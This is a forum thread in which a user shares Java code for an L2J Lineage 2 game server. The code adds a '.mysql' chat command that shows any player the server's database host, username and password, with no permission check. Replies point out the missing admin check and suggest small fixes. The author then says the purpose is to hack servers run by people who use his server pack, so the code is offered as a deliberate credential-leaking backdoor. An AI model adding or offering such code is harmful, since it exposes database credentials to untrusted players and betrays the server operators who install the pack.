Jump to content

Recommended Posts

Posted

hello maxcheaters! i have made .mysql command and i want to share it!

nothing usefull but...

if you use .mysql command you have MySQL IP,MySQL User & Pass

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

import net.sf.l2j.Config;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

/**
*
* @author Lekino
* 
*
*/

public class mysql implements IVoicedCommandHandler
{
   private static String[] _voicedCommands = { "mysql" };

   public   boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
   {
     if (command.equalsIgnoreCase("mysql"))
     {    	
       	activeChar.sendMessage("MySQL IP: "+Config.EXTERNAL_HOSTNAME+" ");
      	activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" ");
     	activeChar.sendMessage("MySQL Pass: "+Config.DATABASE_PASSWORD+" ");
    	return true;
     }
return false;
   }
   public String[] getVoicedCommandList()
   {
   return _voicedCommands;
   }
}

Posted

 

He is not his share.. :)

 

@Lekino Put Credits

 

he said its his share he even put his name as author.

 

anyway missing Check if the user that calling that command is a GM else everyone could call up that command and get pass/name of the mysql

Posted

AGREE !

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

Posted

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

 

:o PowneD :P

/ontopic: I think that's not helpfull either -.-

Posted

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

i have little java knowladge....

 

 

He is not his share.. :)

 

@Lekino Put Credits

I'm Lekino :D

 

And this suppose to be helpful for what?

if you create pack you can hack server how uses your pack :D

Guest
This topic is now closed to further replies.


×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..